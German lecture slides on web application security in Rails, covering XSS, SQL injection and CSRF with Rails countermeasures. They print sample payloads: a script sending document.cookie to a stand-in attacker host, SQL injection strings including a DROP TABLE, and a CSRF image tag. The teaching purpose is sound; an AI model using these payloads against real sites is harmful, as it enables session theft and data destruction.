7363 - Web-basierte Anwendungen
4750 – Web-Engineering

Eine Vertiefungsveranstaltung

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheit von Web-Anwendungen

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- Allgemeines
  - Web Server und ihre Anwendungen sind notwendigerweise dem Internet ausgesetzt – und damit auch anonymen Angriffen jeder denkbaren Art
  - Andererseits besteht erhebliches Schadenspotenzial. Beispiele:
  - Serverseite:
    - Verlust von Betriebsgeheimnissen durch Ausspähen von Daten
    - Schaden durch Veränderung und Löschung von Daten durch Unbefugte
    - Datenschutzverletzungen bei Preisgabe personenbezogener Daten
    - Betriebsstörungen und Umsatzverluste
    - Schädigung des Ansehens eines Unternehmens
  - Anwenderseite:
    - Verlust / Verfälschung eigener im Web gespeicherter Daten
    - Preisgabe sensibler Informationen wie Bankkontodaten (Phishing)
    - Session-Diebstahl mit Konsequenzen bis hin zu kriminellen Handlungen mit dem gekaperten Account
  - Unser heutiges Thema: Sicherung der **Serverseite**

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- Vorwort
  - Leider gibt es keine einfache Methode zur Absicherung webbasierter Anwendungen. Angriffsmethoden sind vielfältig und zielen auf diverse Ebenen, Schwachstellen werden häufig durch Unachtsamkeit und Unkenntnis erzeugt.
  - Kenntnis der wichtigsten Angriffsmethoden ist daher zu deren Abwehr wichtig für alle Entwickler von Web-Anwendungen!
  - Sicherheitsmaßnahmen müssen auf sich ändernde Angriffsmethoden angepasst werden – immer wieder!
- OWASP
  - Das **O**pen **W**eb **A**pplication **S**ecurity **P**roject (OWASP) (http://www.owasp.org/index.php/Main_Page) bildet eine nützliche Anlaufstelle für Entwickler, um sich über Sicherheitslücken und Gegenmaßnahmen zu informieren.
  - OWASP Top Ten: (http://www.owasp.org/index.php/Top_Ten_2007) Durch Benennung der 10 wichtigsten Sicherheitslücken bzw. Angriffs-Szenarien wird gezielt aufgeklärt und Orientierung geboten.

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Cross-Site Scripting*** (XSS, OWASP Platz 1 (2007))
  - Einschleusung von HTML-, JavaScript- oder anderem Schadcode mit dem Ziel, diesen mit den Rechten des Angegriffenen auszuführen
  - Häufiger Zweck: Diebstahl einer Session, etwa durch Ausspähen des *Session Cookies*. Auch: Ausnutzung von Sicherheitslücken des Browsers
- Schwachstellen/Fehlverhalten
  - Client: Anwender loggt sich nicht aus oder besucht während einer Session auch anwendungsfremde Seiten → Session-Cookie bleibt erhalten
  - Server: Anwendung stuft Session Cookies unnötig lange als gültig ein und ermöglicht die Einschleusung von Schadcode
- Test auf Einschleusbarkeit von Schadcode
  - Eingabe von folgendem JS-Code in Eingabefelder oder auch Links:

    ```
    <script>alert("Eingeschleust!");</script>
    ```
  - Abhilfen in Rails: Helper zum Filtern/Maskieren von Schadcode
    - Beim Einlesen: „sanitize()“, bei der Ausgabe: „h()“
  - **Demo (lib)**

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Cross-Site Scripting*** (Forts.)
  - Code zur Anzeige des sicherheitsrelevanten Cookies:

```
<script>document.write(document.cookie);</script>
```

  - Barriere „***Same Origin Policy***“?
    - Fremde Webseiten dürfen nicht auf das Cookie anderer zugreifen!
    - Wie kann der Angreifer dann das Cookie seines Opfers ausspähen? Indem das Opfer ihm dabei „hilft“! Der folgende eingeschleuste Code überträgt das ausgespähte Cookie z.B. an ein CGI-Skript des Angreifers:

```
<script>
  document.write('<img src = "http://www.badsite.xy/collect.cgi?" +
  document.cookie + '">');
</script>
```

  - Das so erzeugte img-Element wird vom Browser unsichtbar (da ohne Inhalt) ins DOM eingebaut „ausgeführt“. Der Angreifer erhält dadurch einen http-Zugriff über einen URL der Art

```
http://www.badsite.xy/collect.cgi?_lib_session=123c4d234890fa2...
```

  - Der Angreifer kann nun die Session des Opfers übernehmen!

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

- ***Cross-Site Scripting*: Abhilfen**
  - Defensiv-Maßnahme „*Sessions* beenden“!
    - Anwender: Ausloggen nicht vergessen (auch wenn‘s unbequem ist…)
    - Server: Session-Cookies nur im Speicher? Logouts fördern!
  - Server: Eingaben filtern
    - Jegliche Eingabe von „außen“ sollte als potenziell sicherheitskritisch betrachtet und daher nur nach einer Prüfung übernommen werden
    - Rails: Dies gilt insb. für die Inhalte von „params“, incl. der per URL hineingelangten Angaben.
    - Formulare: Validierung gegen RegExp
    - Wenn möglich, auf Eingabemöglichkeit von HTML-Code verzichten. Ansonsten:
    - ***Whitelist*-Filter**: Alles verbieten außer (wenigen) explizit freigegebenen Tags
    - Rails-Helper „sanitize“:

```
filtered_input = sanitize raw_input, :tags => %w(b i)
```


© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Cross-Site Scripting*: Abhilfen**
  - Server: Ausgaben filtern
    - Sollen Daten aus unsicheren Quellen zur Anzeige gebracht werden, filtert man sie so, dass z.B. aus Schadcode angezeigter, aber nicht ausführbarer Quellcode wird.
    - Rails bietet dazu den Helper „escapeHTML“ (Abkürzung: h), der z.B. Markup-Bestandteile in Entity-Referenzen verwandelt.
    - Beispiel: '<' → '<'

```
<!-- In app/views/book/show.html.erb: -->
<p>
  <b>Title:</b>
  <%=h @book.title %>
</p>
```

    - Rails verwendet h() standardmäßig in den Ausgabefeldern der mit dem Scaffold-Generator erzeugten Views.
    - Empfehlung: **Machen Sie die Verwendung von h() zur festen Angewohnheit!**

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***SQL Injection*** (Teil von OWASP Platz 2 (2007))
  - Einschleusung von SQL-Code in die Datenbankschicht
  - Häufige Ziele:
    - Aushebelung einer Authentifizierung
    - Lesezugriff auf nicht zur Veröffentlichung bestimmte Daten
    - Manipulation und Zerstörung von Datenbankeinträgen und -tabellen.
- Schwachstellen/Fehlverhalten
  - Server: Ungefilterte Übernahme von Benutzereingaben in SQL-Anfragen
- Ablaufbeispiel: Abrufen von Kontodaten (Klasse „Account“)
  - Benutzer-Eingabe via Formular: …, Kontonummer

    ```
    Kontonummer-Fragment: 12345
    ```

  - Rails-Controller oder -Modell:

    ```
    Account.find :all, :conditions =>"acct_no LIKE '%#{params[:acct]}%'"
    ```

  - Daraus generiertes SQL-Kommando:

    ```
    SELECT * FROM accounts WHERE acct_no LIKE '%12345%'
    ```


© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***SQL Injection,*** Ablaufbeispiel mit *read*-Angriff:
  - Benutzer-Eingabe via Formular: …, Kontonummer

    ```
    Kontonummer-Fragment: ' OR '1'='1; --
    ```

  - Rails-Controller oder -Modell:

    ```
    Account.find :all, :conditions =>"acct_no LIKE '%#{params[:acct]}%'"
    ```

  - Daraus generiertes SQL-Kommando:

    ```
    SELECT * FROM accounts WHERE acct_no LIKE '%' OR '1'='1'; --%'
    ```

- Wirkung:
  - WHERE-Teil ist immer TRUE, also: Auslieferung *aller* Account-Daten!
- ***Gegenmaßnahmen***
  - Erneut: Maskierung von Benutzereingaben!
  - In Rails eingebaute Maskierungen - bitte verwenden!

    ```
    Account.find :all,
            :conditions => ["acct_no LIKE ?", "%#{params[:acct]}%"]
    ```

  - Daraus generiertes SQL-Kommando:

    ```
    SELECT * FROM accounts WHERE acct_no LIKE '%\' OR \'1\'=\'1; --'
    ```


© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***SQL Injection,*** Ablaufbeispiel mit *write*-Angriff:
  - Benutzer-Eingabe via Formular: …, Kontonummer

```
Kontonummer-Fragment: 123'; DROP TABLE accounts; -- boom!
```

  - Rails-Controller oder -Modell:

```
Account.find :all, :conditions => "acct_no LIKE '#{params[:acct]}'"
```

  - Daraus generiertes SQL-Kommando:

```
SELECT * FROM accounts
        WHERE acct_no LIKE '123'; DROP TABLE accounts; -- boom!'
```

- Wirkung:
  - SELECT-Ausgabe interessiert nicht, Ausführung eines weiteren SQL-Kommandos steht im Vordergrund
  - Hier: Löschen der gesamten Tabelle „accounts“!
- ***Zusätzliche Gegenmaßnahmen***
  - Vergabe restriktiver Berechtigungen auf DB-Ebene (GRANT, REVOKE)
  - Hier: Warum sollte die Web-Anwendung das DB-Schema ändern dürfen?

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

- ***SQL Injection*: Informationsquellen**
  - http://www.unixwiz.net/techtips/sql-injection.html
    - Viele Beispiele für Möglichkeiten zum Ausspähen und Angreifen
    - Zur Abschreckung und zum Entwurf von Gegenmaßnahmen empfohlen
  - http://railscasts.com/episodes/25
    - Podcast speziell zu SQL-Injection und deren Verhinderung in Rails

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Cross-Site Reference Forgery*** (CSRF, OWASP Platz 5 (2007))
  - Ausführung beliebiger Aktionen in einer Web-Anwendung mit den Rechten eines Opfers, aber unter Kontrolle eines Angreifers
  - Ziele, Potenzial:
    - Sehr großes Schadenspotenzial, da praktisch alle Transaktionen, die die angegriffene Web-Anwendung (mit den Rechten des Opfers) ermöglicht, missbraucht werden können.

- Schwachstellen/Fehlverhalten
  - Client: Abmeldung versäumt, *session cookie* noch vorhanden
  - Server: Defensivmaßnahmen möglich, s.u.

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Cross-Site Reference Forgery*** (Forts.)
- Ablaufbeispiel: Abrufen von Kontodaten (Klasse „Account“)
  - Opfer ist in Web-Anwendung W angemeldet
  - Opfer besucht andere Website, die ein präpariertes img-Element enthält
  - URL des img-Elements verweist auf eine Aktion von W, etwa:

    ```
    <img src="http://www.railsapp.xy/lib/books/1/destroy"/>
    ```

  - Aktion wird (dank *cookie*) mit den Rechten des Opfers ausgeführt
  - Aktion liefert HTML-Seite zurück, die der Browser als unerwartetes Bildformat ignoriert
  - Opfer merkt nichts vom Angriff und dem mit seiner Berechtigung vorgenommenen Schaden
- Zunehmende Tendenz dank günstiger Umstände
  - Große Web-Anwendungen mit bekanntem Verhalten und kommerziellem Potenzial sind vorhanden, etwa Amazon, eBay, …
  - Blogs, Foren, *community sites* verbreiten sich. Sie gestatten oftmals die Eingabe von HTML-Fragmenten etwa zur Gestaltung – ideal für Angreifer!

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Cross-Site Reference Forgery*** (CSRF), Gegenmaßnahmen
  - Verändernde Maßnahmen: Nie per GET, immer mit POST !
  - WWW-Empfehlung:
    - GET, wenn die Aktion eher einer Frage gleicht
    - POST, wenn die Aktion einen Zustand ändert, z.B. eine Bestellung bewirkt, Daten verändert oder löscht
  - Rails
    - RESTful *resources* verhalten sich bereits standardmäßig korrekt
    - Nutzung des Before-Filters „**verify**“
    - Beispiel: Schutz von Aktion „destroy“:

```
BooksController < ApplicationController
  verify :method => :post, :only => [:destroy],
         :redirect_to => {:action => :index}
  # ...
end
```


© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

- ***Cross-Site Reference Forgery*** (CSRF), Gegenmaßnahmen
  - Rails
    - Das Erzwingen von POST verhindert zwar den einfachen Angriff mittels img-Element, nicht aber Angriffe über eingeschleusten JavaScript-Code oder eingeschmuggelte HTML-Formulare mit POST-Aktion.
  - Automatischer Schutz der von Rails generierten Formulare
    - Rails hinterlegt in einem versteckten Feld einen Sicherheitscode. Der Code ist bei jedem Anwender verschieden und wird aus einem serverseitigen Geheimnis berechnet, siehe app/controllers/application.rb:

```
class ApplicationController < ActionController::Base
  helper :all # include all helpers, all the time
  # See ActionController::RequestForgeryProtection for details
  protect_from_forgery :secret => '39cdf698141d04e54ca659c1e1a3bc43'
  filter_parameter_logging :password
end
```

Da Rails den Sicherheitscode in jedem erhaltenen Formular prüft, wird die Generierung gefälschter Formulare erheblich erschwert.

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

Sicherheitsaspekte

- ***Bei dieser Gelegenheit…***
  - Rails protokolliert sehr viele Daten, u.a. eingegebene Parameter und generierte SQL-Anweisungen
  - Einige dieser Daten lassen sich gezielt aus dem Logging herausfiltern, wie etwa eingegebene Passwörter. Aktivieren Sie dies etwa wie folgt:

```
class ApplicationController < ActionController::Base
  # …
  filter_parameter_logging :password
end
```

  - Speichern Sie Passwörter nicht im Klartext in der Datenbank – im Fall eines Datenlecks geraten sie zu leicht in falsche Hände. Verwenden Sie etwa Plugins wie **`restful_authentication`**, die Passwörter automatisch verschlüsseln
  - **`link_to`** vs. **`button_to`**
    - Verwenden Sie für verändernde Aktionen nie link_to, sondern button_to
    - Ohne Eingriffe verwenden diese Helper GET und POST korrekt
    - GET bzw. link_to sollte mehrmals hintereinander ausführbar sein und dabei dasselbe Ergebnis liefern. Bedenken Sie, dass auch Spider GET verwenden!

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden

- **Weitere Informationsquellen**
  - Heiko Webers: Security on Rails, RailsWay 1/2009, S. 75-77, Software & Support Verlag, 2009

    (Beispiele hier frei nach diesem Artikel)
  - http://rorsecurity.info (vom gleichen Autor)

© 2005, 2008 H. Werntges, Studienbereich Informatik, FB DCSM, FH Wiesbaden